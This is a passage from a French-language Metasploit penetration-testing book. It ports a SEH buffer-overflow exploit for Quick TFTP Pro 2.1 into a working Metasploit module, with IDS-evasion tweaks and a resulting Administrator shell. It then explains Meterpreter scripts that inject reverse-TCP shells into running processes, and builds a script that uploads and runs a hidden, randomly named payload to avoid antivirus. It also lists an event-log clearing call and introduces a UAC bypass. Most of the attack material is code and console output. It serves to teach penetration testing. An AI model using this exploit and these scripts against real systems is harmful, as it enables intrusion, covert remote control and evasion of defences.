[ Windows XP SP2, { Ret => 0x41414141 } ],
],
Privileged => true,
DefaultTarget => 0,
DisclosureDate => Mar 3 2008))

register_options([Opt::RPORT(69)], self.class)

end

def exploit
connect_udp

print_status("Trying target #{target.name}...")

udp_sock.put(sploit)

disconnect_udp

end

end
Parce que cet exploit utilise TFTP (Trivial File Transfer Protocol), il nous
faut inclure le mixin Msf::Exploit::Remote::Udp comme montr en . Et
parce quil manipule le SEH, nous avons aussi besoin du mixin
Msf::Exploit::Remote::Seh comme montr en pour obtenir laccs
certaines fonctions qui soccupent des dpassements du SEH. Parce que
le TFTP coute typiquement sur le port UDP 69, nous dclarons le port en
en tant que port par dfaut pour le module. Enfin, une fois la chane
malicieuse construite, le code est envoy sur le rseau ( la cible) en .
Nous commenons par utiliser le mme squelette que notre exploit
originel en Python utilis plus tt dans le chapitre pour lexploit TFTP.
Nous en ajouterons les majeures parties dans notre section Exploit.
def exploit
connect_udp


evil = "\x41" * 1019
evil << "\xeb\x08\x90\x90" # Short Jump
evil << "\x58\x14\xd3\x74" # POP-POP-RETN
evil << "\x90" * 16 # NOP slide
evil << "\xcc" * 412 # Faux Shellcode

sploit = "\x00\x02"

sploit << "pwnd"

sploit << "\x00"

sploit << evil

sploit << "\x00"


disconnect_udp
end
Aprs la chane de "A" initiale (il y en a 1 019, reprsents par \x41 en
hexadcimal), nous ajoutons un short jump en pour craser le prochain
SEH (NSEH pour Next SEH). Au dbut de ce chapitre, nous avons utilis
un simple exemple de stack overflow quand nous avons attaqu
MailCarrier et avons cras le pointeur dinstruction. Ici, nous crasons
le SEH et le NSEH pour sortir du Handler dException Structur (SEH).
Puis, en , nous ajoutons ladresse de la squence dinstruction POP-
POP-RETN pour craser le SEH, ce qui nous ramne dans un espace de
mmoire que nous contrlons.
Ensuite, pour nous assurer que le paquet sera reconnu comme une
requte dcriture par le serveur TFTP, nous ajoutons \x00\x02 aprs le
shellcode en .
Maintenant, quand nous chargeons le module et le lanons contre la cible,
notre debugger devrait faire une pause lors de lcrasement du SEH (voir
Figure 15.4).
Figure 15.4
Rcriture initiale du SEH de Quick TFTP.
Parce que cette longue chane de "A" et le slide NOP envoy
lapplication vont dclencher les alarmes dIDS (Intrusion Detection
System, systme de dtection dintrusion), nous remplacerons les "A"
(comme dans lexemple prcdent) par une slection alatoire de
caractres capitaux alphabtiques, et les caractres \x90 par des
quivalents NOP, comme montr en gras dans le code ci-dessous :
evil = rand_text_alpha_upper(1019) # Was: "\x41" * 1019
evil << "\xeb\x08\x90\x90" # Short Jump
evil << "\x58\x14\xd3\x74" # pop/pop/ret
evil << make_nops(16) # Was: "\x90" * 16 # NOP slide
evil << "\xcc" * 412 # Dummy Shellcode
Comme toujours, cest une bonne ide de vrifier le bon fonctionnement
de votre module aprs chaque changement. Comme vous pouvez le voir
la Figure 15.5, les caractres alatoires ont t accepts par lapplication
et le SEH est toujours sous contrle.
Figure 15.5
Le buffer de Quick FTP est rempli de caractres alatoires.
Maintenant que nous savons que le module se comporte correctement,
nous pouvons dfinir ladresse de retour dans la section Targets.
Ladresse dans cet exemple est un POP-POP-RETN de oledlg.dll, comme
dans lexploit original. Souvenez-vous que si lon peut trouver une
instruction mmoire dans la mme application qui est charge chaque
fois, nous pouvons crer un exploit qui ne dpend pas de DLL Microsoft,
et qui peut donc cibler tous les systmes. Dans ce cas, nous utilisons
oledlg.dll pour rendre cet exploit universel.
Targets =>

[

[ Windows XP SP2, { Ret => 0x74d31458 } ], # p/p/r oledlg

],

Nous avons maintenant une cible Windows XP SP2 et une adresse de
retour 0x74d31458, comme montr en .
Ensuite, nous crons une chane alatoire de caractres capitaux
alphabtiques de 1 019 octets :
evil = rand_text_alpha_upper(1019)
evil << generate_seh_payload(target.ret)
evil << make_nops(16)
La fonction generate_seh_payload utilise ladresse de retour dclare et
insre directement le short jump (qui fait sauter le handler du SEH). Cette
fonction calcule les sauts pour nous, pour aller directement au POP-POP-
RETN.
Nous lanons notre module une dernire fois avec le faux shellcode et
observons que notre debugger contient beaucoup de caractres
alatoires, mais que tout est toujours sous notre contrle direct (voir
Figure 15.6). Des caractres alatoires peuvent tre parfois meilleurs que
des NOP, parce quils servent tromper beaucoup dIDS qui peuvent
surveiller le rseau. Beaucoup dIDS fonds sur des signatures peuvent
se dclencher au passage de nombreux NOP.
Figure 15.6
Quick TFTP est compltement contrl.
Ensuite, nous retirons le faux shellcode et lanons le module avec un vrai
payload pour obtenir notre shell :
msf > use exploit/windows/tftp/quicktftp_book
msf exploit(quicktftp_book) > set payload
msf exploit(quicktftp_book) > set LHOST 192.168.1.101
LHOST => 192.168.1.101
msf exploit(quicktftp_book) > set RHOST 192.168.1.155
RHOST => 192.168.1.155
msf exploit(quicktftp_book) > exploit

[*] Trying target Windows XP SP2...
[*]
192.168.1.155:1036)
Server username: V-XP-SP2-BARE\Administrator
Maintenant que nous avons un shell meterpreter, nous avons russi
porter un exploit et utilis le framework dans un exploit SEH.
require msf/core

include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::Seh

Name
=> Quick TFTP Pro 2.1 Long Mode
Buffer Overflow,
Description => %q{

This module exploits a stack overflow in Quick TFTP Pro
2.1.
},
Author => Your Name,
References =>
[
[CVE, 2008-1610],
[OSVDB, 43784],
[URL, http://www.exploit-db.com/exploits/5315],
],
DefaultOptions =>
{
EXITFUNC => thread,
},
Payload =>
{
Space => 412,
BadChars => "\x00\x20\x0a\x0d",
},
Platform => win,
Targets =>
[
[ Windows XP SP2, { Ret => 0x74d31458 } ],
# p/p/r oledlg
],
Privileged => true,
DefaultTarget => 0,
DisclosureDate => Mar 3 2008))

register_options([Opt::RPORT(69)], self.class)

end

def exploit
connect_udp


evil = rand_text_alpha_upper(1019)
evil << generate_seh_payload(target.ret)
evil << make_nops(16)

sploit = "\x00\x02"

sploit << "pwnd"

sploit << "\x00"

sploit << evil

sploit << "\x00"


disconnect_udp
end
end
En conclusion
Ce chapitre tait fait pour vous aider comprendre comment porter
diffrents exploits autonomes dans le framework Metasploit. Vous
pouvez importer de plusieurs faons dans le framework et les diffrents
exploits requirent des approches et des techniques varies.
Au dbut de ce chapitre, vous avez appris comment utiliser quelques
instructions simples dassembleur pour effectuer un stack overflow simple
et le porter dans le framework. Nous avons progress vers les
crasements SEH, que nous avons pu utiliser pour contourner le handler
et obtenir lexcution du code distance. Nous avons utilis une
technique de pop-pop-ret pour tre capable dexcuter le code
distance, et nous avons utilis Metasploit pour obtenir un shell
Meterpreter.
Dans le prochain chapitre, nous commencerons creuser le langage de
scripting Meterpreter et les modules de postexploitation. Nous pourrons
effectuer un certain nombre dattaques additionnelles aprs avoir
compromis un systme laide de Meterpreter. Nous crerons nos
propres scripts Meterpreter et apprendrons comment le framework est
structur et comment lutiliser pour un effet maximal.
16
Scripts Meterpreter
Sommaire
Les bases du scripting Meterpreter
LAPI de Meterpreter
Les rgles pour crire des scripts Meterpreter
Crez votre script Meterpreter
Le puissant environnement de script de Metasploit permet dajouter des
caractristiques et des options Meterpreter. Dans ce chapitre, vous
allez apprendre les bases du langage de script de Meterpreter, quelques
appels natifs utiles, ainsi que la manire de lancer ces commandes dans
Meterpreter. Nous couvrirons deux faons de tirer profit des scripts
Meterpreter. La premire est quelque peu dmode mais reste importante
parce que tous les scripts nont pas t convertis. La seconde est presque
identique celle que nous avons vue au Chapitre 13, donc nous ne la
couvrirons pas en dtail dans ce chapitre (remerciements spciaux
Carlos Perez [darkoperator] pour sa contribution ce chapitre).
Tous les scripts Meterpreter sont localiss dans la racine du framework
dans scripts/meterpreter/. Pour afficher la liste de tous les scripts,
appuyez sur la touche TAB dans un shell Meterpreter, entrez run et
appuyez de nouveau sur TAB.
Tout dabord, dissquons un script simple de Meterpreter et ensuite
construisons le ntre. Nous explorerons le script multi_meter_inject qui
injecte des shells Meterpreter dans diffrents processus. Pour
commencer, jetez un il au script Meterpreter ci-aprs pour voir quels
flags et quelle syntaxe sont inclus :

meterpreter > run multi_meter_inject -h
Meterpreter script for injecting a reverse tcp Meterpreter payload into
memory space of multiple PIDs. If none is provided, notepad.exe will
be spawned and the meterpreter payload injected into it.

OPTIONS:

-h Help menu.

-m
Start Exploit multi/handler for return connection

-mp
<opt> Provide Multiple PID for connections separated by

comma one per IP.
-mr <opt> Provide Multiple IP Addresses for Connections separated
by comma.
-p
<opt> The port on the remote host where Metasploit is listening
(default: 4444)
-pt
<opt> Specify Reverse Connection Meterpreter Payload.
Default windows/

meterpreter >
La premire option est -m en , qui dmarre automatiquement un
nouveau handler pour la gestion de la connexion retour. Nous naurions
pas besoin de linitialiser si nous utilisions un port identique (par exemple,
443). Ensuite, nous spcifions le processus ID (PID) en dont nous
aurons besoin et dans lequel les shells vont tre injects.
Meterpreter ne sexcute quen mmoire. Lorsquon injecte dans un
processus, on injecte Meterpreter dans espace mmoire de ce processus.
Cela nous permet de rester furtifs, et de ne jamais lire ou crire de fichier
sur le disque alors que nous avons plusieurs shells notre disposition.
Ensuite, nous dfinissons ladresse IP en et le numro de port en sur
la machine attaquante laquelle nous voulons que la nouvelle session
Meterpreter se connecte. On lance la commande ps dans Meterpreter
pour obtenir une liste des processus en cours dexcution :
meterpreter > ps
Process list
============
PID Name Arch Session User Path
--- ---- ---- ------- ---- ----
0 [System Process]
4 System
256 smss.exe
364 csrss.exe
412 wininit.exe
424 csrss.exe
472 winlogon.exe

516 services.exe

524 lsass.exe

532 lsm.exe

2808 iexplorer.exe x86
meterpreter >
Nous allons injecter notre nouveau shell Meterpreter dans le processus
iexplorer.exe en . Cela va engendrer une seconde console Meterpreter
entirement en mmoire qui ncrira jamais aucune donne sur le disque.
Maintenant, pour voir si a fonctionne, excutons la commande
multi_meter_inject tout en utilisant certains paramtres que nous avons
vues plus tt :
meterpreter > run multi_meter_inject -mp 2808 -mr 172.16.32.129 -p
443
[*]
Creating a reverse meterpreter stager: LHOST=172.16.32.129
LPORT=443
[*] Injecting meterpreter into process ID 2808
[*] Allocated memory at address 0x03180000, for 290 byte stager
[*] Writing the stager into memory...
[+] Successfully injected Meterpreter in to process: 2808
[*]
172.16.32.170:1098) at
Tue Nov 30 22:37:29 -0500 2010
meterpreter >
Comme lindique ces traces, notre commande a fonctionn et une session
Meterpreter est nouveau ouverte en .
Maintenant que vous comprenez ce que fait ce script, examinons son
fonctionnement. Nous le couperons en morceaux pour nous aider
analyser ses commandes ainsi que sa structure globale.
Tout dabord, les variables et les dfinitions sont dfinies et les flags que
nous voulons passer Meterpreter sont configurs :

# $Id: multi_meter_inject.rb 10901 2010-11-04 18:42:36Z
darkoperator $
# $Revision: 10901 $
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
#---------------------------------------------------------------------
################## Variable Declarations ##################
@client = client
Lhost = Rex::Socket.source_address("1.2.3.4")
Lport = 4444
Lhost = "127.0.0.1"
pid = nil
multi_ip = nil
multi_pid = []
payload_type = "windows/meterpreter/reverse_tcp"
start_handler = nil
@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ],

"-p" => [ true, "The port on the remote host where Metasploit is
listening (default: 4444)"],

"-m" => [ false, "Start Exploit multi/handler for return
connection"],

"-pt" => [ true, "Specify Reverse Connection Meterpreter
Payload.
Default windows/meterpreter/reverse_tcp"],

"-mr" => [ true, "Provide Multiple IP Addresses for Connections
separated by comma."],

"-mp" => [ true, "Provide Multiple PID for connections separated
by comma one per IP."]

)

meter_type = client.platform
Au dbut de cette section du script, notez que plusieurs variables sont
dfinies pour une utilisation ultrieure. Par exemple, pid = nil en cre
un PID variable mais sa valeur nest pas dfinie. La section @exec_opts
= Rex::Parser::Arguments.new en dfinit des commandes daide et des
flags additionnels qui seront utiliss.
La section suivante dfinit des fonctions auxquelles nous ferons appel
plus tard :
################## Function Declarations ##################
# Usage Message Function
#---------------------------------------------------------------------
def usage

print_line "Meterpreter Script for injecting a reverse tcp
Meterpreter Payload"

print_line "in to memory of multiple PIDs, if none is provided
a notepad process."

print_line "will be created and a Meterpreter Payload will be
injected in to each."
print_line(@exec_opts.usage)
raise Rex::Script::Completed
end

# Wrong Meterpreter Version Message Function
#---------------------------------------------------------------------
def wrong_meter_version(meter = meter_type)

print_error("#{meter} version of Meterpreter is not supported
with this Script!")
end

# Function for injecting payload in to a given PID
#---------------------------------------------------------------------
def inject(target_pid, payload_to_inject)

print_status("Injecting meterpreter into process ID #
{target_pid}") begin

host_process = @client.sys.process.open(target_pid.to_i,
PROCESS_ALL_ACCESS)
raw = payload_to_inject.generate

mem = host_process.memory.allocate(raw.length +
(raw.length % 1024))

print_status("Allocated memory at address #{"0x%.8x" %
mem}, for #{raw.length} byte stager)
print_status("Writing the stager into memory...")
host_process.memory.write(mem, raw)
host_process.thread.create(mem, 0)

print_good("Successfully injected Meterpreter in to
process: #{target_pid}")rescue::Exception => e
print_error("Failed to Inject Payload to #{target_pid}!")
print_error(e)
end
end

Dans cet exemple, la fonction usage en sera appele quand loption -h
sera active. Vous pouvez appeler un grand nombre de fonctions
Meterpreter directement partir de lAPI de Meterpreter. Cette
fonctionnalit simplifie certaines tches telles que linjection dans un
nouveau processus avec la fonction def inject, comme montr en .
Le prochain lment important est host_process.memory.allocate en
qui va nous permettre dallouer de lespace mmoire pour notre payload
Meterpreter. Puis on crit dans la mmoire de notre processus en utilisant
host_process.memory.write en et on cre un nouveau thread avec
host_process.thread.create en .
Ensuite, on dfinit le multi-handler qui gre les connexions en fonction du
payload slectionn, comme montr en gras dans le listing qui suit
(Meterpreter est slectionn par dfaut, donc sauf indications
spcifiques, le multi-handler soccupera des sessions Meterpreter).
# Function for creation of connection handler
#--------------------------------------------------------------------------
def create_multi_handler(payload_to_inject)

mul = @client.framework.exploits.create("multi/handler")
mul.share_datastore(payload_to_inject.datastore)
mul.datastore[WORKSPACE] = @client.workspace
mul.datastore[PAYLOAD] = payload_to_inject
mul.datastore[EXITFUNC] = process
mul.datastore[ExitOnSession] = true
print_status("Running payload handler")

mul.exploit_simple(
Payload => mul.datastore[PAYLOAD],
RunAsJob => true
)
end
Lappel pay = client.framework.payloads.create(payload) dans la section
qui suit nous permet de crer un payload partir du framework
Metasploit. Puisque cest un payload Meterpreter, Metasploit le gnre
automatiquement pour nous.
# Function for Creating the Payload
#--------------------------------------------------------------------------
def create_payload(payload_type,lhost,lport)

print_status("Creating a reverse meterpreter stager: LHOST=#
{lhost} LPORT=#{lport}")
payload = payload_type
pay = client.framework.payloads.create(payload)
pay.datastore[LHOST] = lhost
pay.datastore[LPORT] = lport

return pay
end

Loption suivante cre un processus en utilisant Notepad par dfaut. Si
lon navait pas spcifi le processus, elle aurait automatiquement cr
pour nous un processus Notepad.
# Function that starts the notepad.exe process
#--------------------------------------------------------------------------
def start_proc()
print_good("Starting Notepad.exe to house Meterpreter Session.")

proc = client.sys.process.execute(notepad.exe, nil, {Hidden
=> true })
print_good("Process created with pid #{proc.pid}")
return proc.pid
end
Lappel en gras nous permet dexcuter nimporte quelle commande
dans le systme dexploitation. Veuillez noter que Hidden est initialis
true. Cela signifie que lutilisateur de lautre ct (la cible) ne verra rien ;
si Notepad est ouvert, il sera excut sans que lutilisateur cible sen
rende compte.
Ensuite, on fait appel nos fonctions, en validant les conditions puis en
crant le payload :
################## Main ##################
@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
usage
when "-p"
lport = val.to_i
when "-m"
start_handler = true
when "-pt"
payload_type = val
when "-mr"
multi_ip = val.split(",")
when "-mp"
multi_pid = val.split(",")
end
}
# Check for Version of Meterpreter
wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i
# Create a Multi Handler is Desired
create_multi_handler(payload_type) if start_handler
Enfin, on fait quelques vrifications pour tre sr que la syntaxe est
correcte et on injecte notre nouvelle session Meterpreter dans notre PID :

# Check for a PID or program name

if multi_ip
if multi_pid
if multi_ip.length == multi_pid.length
pid_index = 0
multi_ip.each do |i|
payload = create_payload(payload_type,i,lport)
inject(multi_pid[pid_index],payload)
select(nil, nil, nil, 5)
pid_index = pid_index + 1
end
else
multi_ip.each do |i|
payload = create_payload(payload_type,i,lport)
inject(start_proc,payload)
select(nil, nil, nil, 2)
end
end
end
else
print_error("You must provide at least one IP!")
end

LAPI de Meterpreter
Pendant un pentest, vous pourriez ne pas trouver de script existant qui
corresponde votre besoin pour effectuer une tche demande. Si vous
comprenez les principes de base de la programmation, a sera
relativement facile pour vous de comprendre la syntaxe Ruby et de
lutiliser pour crire des scripts supplmentaires.
Commenons avec une dclaration print de base qui utilise le shell
interactif Ruby, aussi connu sous le nom dirb. partir de la console
Meterpreter, entrez la commande irb et commencez taper :
meterpreter > irb
[*] Starting IRB shell
[*] The client variable holds the meterpreter client
>>
Une fois que vous tes entr dans le shell interactif, vous pouvez lutiliser
pour tester les diffrents appels lAPI Meterpreter.
Afficher une sortie
Commenons avec lappel print_line() qui affichera le message et
ajoutera un retour la ligne la fin :
>> print_line("you have been pwnd!")
you have been pwnd!
=> nil
Le prochain appel est print_status() qui est utilis la plupart du temps dans
le langage de script. Cet appel fournira un retour chariot et affichera le
statut de tout ce qui peut sexcuter avec un [*] prfix au dbut :
>> print_status("you have been pwnd!")
[*] you have been pwnd!
=> nil
Lappel suivant est print_good(), qui est utilis pour obtenir les rsultats
dune action ou indiquer que laction a fonctionn :
>> print_good("you have been pwnd")
[+] you have been pwnd
=> nil
Lappel suivant est print_error(), il est utilis pour fournir un message
derreur ou pour indiquer que laction na pas t possible :
>> print_error("you have been pwnd!")
[-] you have been pwnd!
=> nil
Appels API de base
Meterpreter inclut beaucoup dappels API que vous pouvez utiliser dans
vos scripts pour fournir des fonctionnalits supplmentaires ou de la
personnalisation. Vous pouvez utiliser plusieurs points de rfrence pour
ces appels API. Celui qui est le plus souvent choisi par les dbutants en
scripting sintresse la manire dont linterface utilisateur de la console
Meterpreter (UI) se sert des appels ; ces derniers peuvent servir en tant
que base pour continuer crire des scripts. Pour accder ce code,
lisez les fichiers dans
/opt/framework3/msf3/lib/rex/post/meterpreter/ui/console/command_dispatcher
dans Back|Track. Si vous crez une liste du contenu du dossier, vous
verrez les fichiers contenant les diffrentes commandes que vous pouvez
utiliser :
root@bt:~# ls -F
/opt/framework3/msf3/lib/rex/post/meterpreter/ui/console/
command_dispatcher/

core.rb espia.rb incognito.rb networkpug.rb priv/ priv.rb sniffer.rb
stdapi/ stdapi.rb
lintrieur de ces scripts se trouvent les diffrents lments centraux de
Metasploit comme linteraction bureau, les oprations privilgies et
beaucoup dautres commandes. Rexaminez ces scripts pour vous
familiariser avec la faon dont Meterpreter opre au sein dun systme
compromis.
Les mixins Meterpreter
Les mixins Meterpreter sont une srie dappels qui reprsentent les
tches les plus communes prises en charge dans un script Meterpreter.
Ces appels ne sont pas disponibles dans irb et ne peuvent tre utiliss que
pendant la cration dun script Meterpreter. Ce qui suit liste les appels les
plus notables :
cmd_exec(cmd) Excute la commande donne de faon cache et
tunnele. Le rsultat de la commande est une chane multiligne.
eventlog_clear(evt = "") Supprime un vnement, ou tous les vnements
du journal dvnements (event log) si aucun nest prcis. Retourne un
tableau des vnements qui ont t supprims.
eventlog_list() numre les vnements du journal dvnement et
retourne un tableau contenant les noms des vnements.
file_local_digestmd5(file2md5) Retourne une chane avec un checksum
MD5 pour un fichier donn.
file_local_digestsha1(file2sha1) Retourne une chane avec un checksum
SHA1 pour un fichier donn.
file_local_digestsha2(file2sha2) Retourne une chane avec un checksum
SHA256 pour un fichier donn.
file_local_write(file2wrt, data2wrt) crit une chane donne dans un
fichier spcifi.
is_admin?() Identifie si lutilisateur est admin ou pas. Retourne la valeur
true sil lest et false sil ne lest pas.
is_uac_enabled?() Dtermine si lUAC (User Account Control) est activ
sur le systme.
registry_createkey(key) Cre une cl de registre donne et retourne la
valeur true en cas de russite.
registry_deleteval(key,valname) Supprime la valeur dune cl de registre
dont on fournit le nom et le nom de valeur. Retourne true en cas de
russite.
registry_delkey(key) Supprime un cl de registre donne et retourne la
valeur true en cas de russite.
registry_enumkeys(key) numre les sous-cls dune cl de registre
donne et retourne un tableau des sous-cls.
registry_enumvals(key) numre les valeurs dune cl de registre
donne et retourne un tableau de noms de valeur.
registry_getvaldata(key,valname) Retourne les donnes dune cl de
registre et sa valeur.
registry_getvalinfo(key,valname) Retourne les donnes et le type dune
cl de registre donne et sa valeur.
registry_setvaldata(key,valname,data,type) Dfinit les donnes pour une
valeur donne et un type de donnes dans le registre cible. Retourne true
en cas de russite.
service_change_startup(name,mode) Change le mode de lancement dun
service donn. Le nom et le mode doivent tre renseigns. Le mode est
une chane dfinie par la valeur auto, manual ou disabled. Le nom de
service est sensible la casse.
service_create(name, display_name, executable_on_host,startup=2)
Fonction qui cre un service lanant son propre processus. Ses
paramtres sont le nom du service en tant que chane, le nom qui va tre
affich dans une chane, le chemin vers lexcutable sur lhte dans une
chane, et le type de dmarrage en entier : 2 pour auto, 3 pour manuel, 4
pour dsactiv (auto est par dfaut).
service_delete(name) Fonction qui supprime un service en supprimant sa
cl de registre.
service_info(name) Affiche les informations sur un service Windows.
Elles sont retournes dans un hash avec le nom daffichage, le mode de
dmarrage et la commande excute par le service. Le paramtre name
est sensible la casse. Les cls de hachage sont Name, Start, Command
et Credentials.
service_list() Liste tous les services Windows prsents. Retourne un
tableau contenant les noms des services.
service_start(name) Fonction qui dmarre un service. Retourne 0 sil est
lanc, 1 sil est dj lanc et 2 si le service est dsactiv.
service_stop(name) Fonction qui stoppe un service. Retourne 0 si le
service est correctement stopp, 1 si le service est dj stopp ou
dsactiv, et 2 si le service ne peut tre arrt.
Vous devriez comprendre les bases concernant les appels de mixins
Meterpreter que vous pouvez utiliser pour ajouter des fonctionnalits
votre script personnalis.
Quand vous crez des scripts Meterpreter, vous devez comprendre les
rgles suivantes avant de commencer et si vous voulez quelles
sappliquent au framework :
Utilisez uniquement des variables dinstance, locales, et
constantes ; nutilisez jamais des variables globales ou de
classe car elles peuvent interfrer avec les variables du
Framework.
Utilisez des tabulations, pas des espaces.
Pour les blocs de code, nutilisez pas {}. Utilisez plutt do et
end.
Quand vous dclarez des fonctions, crivez toujours un
commentaire avant la dclaration et fournissez une brve
description de son but.
Nutilisez pas sleep ; utilisez select(nil, nil, nil, <time>).
Nutilisez pas puts ou dautres appels de sortie standard ; la
place utilisez print, print_line, print_status, print_error et
print_good.
Incluez toujours une option -h qui affichera une description
ainsi que le but du script et montrera les options disponibles.
Si votre script est destin un systme dexploitation
spcifique ou une plate-forme Meterpreter, assurez-vous
quil ne fonctionne que sur ces plateformes et affiche un
message derreur pour un OS ou une plateforme non
soutenue.
Cration dun script Meterpreter
Ouvrez votre diteur de texte prfr et crez un fichier nomm
execute_upload.rb, localis dans scripts/meterpreter/. On commence par
ajouter des commentaires en haut du fichier pour faire comprendre tout
le monde le but de ce script et on dfinit nos options :
# Meterpreter script for uploading and executing another meterpreter
exe

info = "Simple script for uploading and executing an additional
meterpreter payload"

# Options

opts = Rex::Parser::Arguments.new(

"-
h"
=> [
false,
"This help menu. Spawn a meterpreter shell by
uploading and executing."],

"-
r"
=> [
true,
"The IP of a remote Metasploit listening for the connect
back"],

"-
p"
=> [
true,
"The port on the remote host where Metasploit is
listening (default: 4444)]
)
Cela devrait avoir lair quelque peu familier, parce que cest presque
exactement le mme exemple que celui de Carlos Perez vu plus tt dans
le chapitre. Le message daide est dfini avec -h en , -r et -p sont
spcifis pour ladresse IP distante et le numro de port dont on aura
besoin pour notre nouvel excutable Meterpreter. Notez quune
dclaration true est incluse ; cela indique que ces champs sont exigs.
Ensuite, nous dfinissons les variables que nous voulons utiliser dans le
script. On fait appel la fonction Rex::Text.rand_text_alpha pour crer
un nom dexcutable unique chaque fois quil est appel. Cette procdure
est efficace, parce que nous ne voulons pas assigner un nom excutable
statiquement, ce qui aurait pour effet de laisser des traces de lattaque
aux antivirus. On configure galement chaque argument de sorte que, par
exemple, soit il attribue une valeur soit il affiche des informations avec -
h.

filename= Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
rhost = Rex::Socket.source_address("1.2.3.4")
rport = 4444
lhost = "127.0.0.1"
pay = nil

#
# Option parsing
#
opts.parse(args) do |opt, idx, val|
case opt
when "-h"
print_line(info)
print_line(opts.usage)
when "-r"
rhost = val
when "-p"
rport = val.to_i

end

end

Notez que nous avons spar chaque argument et attribu des valeurs ou
affich des informations lutilisateur. Le rhost = val signifie "prenez
la valeur fournie par lutilisateur quand -r a t saisi". Le rport = val.to_i
attribue simplement la valeur en la convertissant en un entier (un
numro de port devra toujours tre un entier).
Dans les sries suivantes, nous dfinissons tout ce dont nous avons besoin
pour crer notre payload :
payload = "windows/meterpreter/reverse_tcp"
pay.datastore[LHOST] = rhost
pay.datastore[LPORT] = rport
mul = client.framework.exploits.create("multi/handler")
mul.share_datastore(pay.datastore)
mul.datastore[WORKSPACE] = client.workspace
mul.datastore[PAYLOAD] = payload

mul.exploit_simple(

RunAsJob => true
)

On dfinit notre payload en en tant que
windows/meterpreter/reverse_tcp, en on le gnre en appelant
client.framework.payloads.create(payload), et on spcifie les paramtres
ncessaires pour crer le multi-handler. Ce sont les champs requis dont
nous avons besoin pour configurer notre payload avec les options LHOST
et LPORT et pour crer un listener.
Ensuite, on cre notre excutable (win32pe meterpreter), on le
tlcharge sur notre machine cible, et on lexcute :
if client.platform =~ /win32|win64/
tempdir = client.fs.file.expand_path("%TEMP%")
print_status("Uploading meterpreter to temp directory...")
raw = pay.generate
exe = ::Msf::Util::EXE.to_win32pe(client.framework, raw)
tempexe = tempdir + "\\" + filename
tempexe.gsub!("\\\\", "\\")
fd = client.fs.file.new(tempexe, "wb")

fd.write(exe)
fd.close
print_status("Executing the payload on the system...")
execute_payload = "#{tempdir}\\#{filename}"

pid = session.sys.process.execute(execute_payload, nil, {Hidden
=> true})
end
Les variables appeles #{quelque chose} ont dj t dfinies dans le
script et seront appeles plus tard. Notez que nous avons dj dfini
tempdir et filename. En avanant dans le script, nous incluons dabord
une dclaration pour dtecter si la plateforme quon vise est base sur un
systme Windows ; sans quoi lattaque ne marcherait pas. Nous
tendons ensuite le rpertoire temporaire sur la machine cible ; ce qui
sera lquivalent de %TEMP%. Ensuite, on cre un nouveau fichier dans
le systme et on y crit le nouvel EXE quon vient juste de gnrer
partir de lappel ::Msf::Util::EXE.to_win32pe . Souvenez-vous quon a
rgl session.sys.process.execute Hidden de sorte que lutilisateur cible
ne voit rien surgir de son ct.
Tout cela rassembl, notre script final devrait ressembler ceci :
# Meterpreter script for uploading and executing another meterpreter
exe

info = "Simple script for uploading and executing an additional
meterpreter payload"

# Options
opts = Rex::Parser::Arguments.new(

"-
h"
=> [
false,
"This help menu. Spawn a meterpreter shell by
uploading and
executing."],
"-r"
=> [
true,
"The IP of a remote Metasploit listening for the
connect
back"],

"-
p"
=> [
true,
"The port on the remote host where Metasploit is
listening (default: 4444)]
)

# Default parameters
filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
rhost = Rex::Socket.source_address("1.2.3.4")
rport = 4444
lhost = "127.0.0.1"
pay = nil

# Option parsing
opts.parse(args) do |opt, idx, val|
case opt
when "-h"
print_line(info)
print_line(opts.usage)
when "-r"
rhost = val
when "-p"
rport = val.to_i
end
end
payload = "windows/meterpreter/reverse_tcp"
pay.datastore[LHOST] = rhost
pay.datastore[LPORT] = rport
mul = client.framework.exploits.create("multi/handler")
mul.share_datastore(pay.datastore)
mul.datastore[WORKSPACE] = client.workspace
mul.datastore[PAYLOAD] = payload
print_status("Running payload handler")

mul.exploit_simple(
RunAsJob => true
)

if client.platform =~ /win32|win64/
tempdir = client.fs.file.expand_path("%TEMP%")
print_status("Uploading meterpreter to temp directory")
raw = pay.generate
exe = ::Msf::Util::EXE.to_win32pe(client.framework, raw)
tempexe = tempdir + "\\" + filename
tempexe.gsub!("\\\\", "\\")
fd = client.fs.file.new(tempexe, "wb")

fd.write(exe)
fd.close
print_status("Executing the payload on the system")
execute_payload = "#{tempdir}\\#{filename}"

pid = session.sys.process.execute(execute_payload, nil,
{Hidden => true})
end

Maintenant que nous avons notre nouveau script Meterpreter, lanons
Metasploit, entrons dans Meterpreter et excutons le script :
meterpreter > run execute_upload -r 172.16.32.129 -p 443
[*] Running payload handler
[*] Uploading meterpreter to temp directory
[*] Executing the payload on the system
[*]
172.16.32.170:1140) at
Tue Nov 30 23:24:19 -0500 2010
meterpreter >
Nous avons russi ! Nous avons cr un script Meterpreter et nous
lavons excut avec succs pour engendrer un nouveau shell
Meterpreter. Cest un petit exemple de la puissance et de la flexibilit du
langage de script Meterpreter et de Ruby en gnral.
Un lment important tudier brivement (comme mentionn plus tt)
est la faon de convertir les scripts Meterpreter dans un format semblable
aux modules Metasploit. Nous nous appuierons sur une petite
dmonstration dun module fait pour contourner lUAC de Windows 7.
Une fonction semblable au sudo prsent dans les systmes bass sur
UNIX et Linux a t introduite partir de Windows Vista. Avec cette
fonction sont assignes lutilisateur des droits limits jusqu ce que les
droits de niveau administrateur soient ncessaires. Quand lutilisateur a
besoin de droits administrateur pour excuter une tche, une invite de
commande apparat lui indiquant que des droits dadministrateur sont
exigs et vont tre utiliss. Le but de cette fonction est dempcher que le
systme soit compromis ou quil subisse une infection virale en limitant
lexposition un compte utilisateur.
En dcembre 2010, Dave Kennedy et Kevin Mitnick ont sorti un nouveau
module Meterpreter qui a contourn le composant UAC Windows en
injectant un payload dans un processus qui avait un certificat dditeur
approuv et qui tait considr "UAC Safe". Une fois inject dans le
processus, un DLL peut tre appel, sexcutant dans le contexte du
processus UAC Safe, qui excute alors des commandes.
Dans cet exemple, nous utilisons des modules de postexploitation, qui
peuvent tre utiliss pour contourner lUAC. Nous lanons dabord le
module multi-handler avec loption -j, qui permet daccepter de multiples
